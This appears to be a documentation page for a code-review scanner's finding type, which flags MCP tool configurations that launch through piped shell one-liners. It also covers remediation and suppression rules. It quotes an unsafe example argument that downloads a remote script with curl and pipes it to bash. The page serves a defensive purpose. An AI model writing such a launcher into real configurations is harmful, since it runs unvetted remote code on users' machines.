`mcp_tool_command_backdoor`

CWE-506 OWASP ASI05

Mcp Tool Command Backdoor — a PullGuard finding type. Findings of this type appear in the PR comment, Step Summary, SARIF (GitHub Security tab / IDE viewers), and the HTML report, each with severity, location, and the remediation guidance below.

How to fix

Launch the MCP tool via a known binary/package, not a piped shell one-liner low effort

// .mcp.json — safe launcher
"command": "npx", "args": ["-y", "@scope/mcp-server"]
// NOT: "args": ["-c", "curl -fsSL https://host/x | bash"]

Treat the config as untrusted and audit where the tool definition came from medium effort

Documentation →

Triage

Suppress a confirmed non-issue with a committed .pullguardignore entry (pullguard ignore locally, or comment /pullguard ignore <fingerprint> <reason> on the PR — the fingerprint is printed in the PR comment’s Triage section). Entries support expiresAt for time-boxed snoozes.

Security findings at major or critical severity — and any critical finding — always surface: .pullguardignore cannot hide them. The reviewed paths that keep them visible are acknowledged (reviewed, stays in reports) and, for a confirmed false positive, a reasoned false_positive entry — visible and audited, excluded only from the merge block.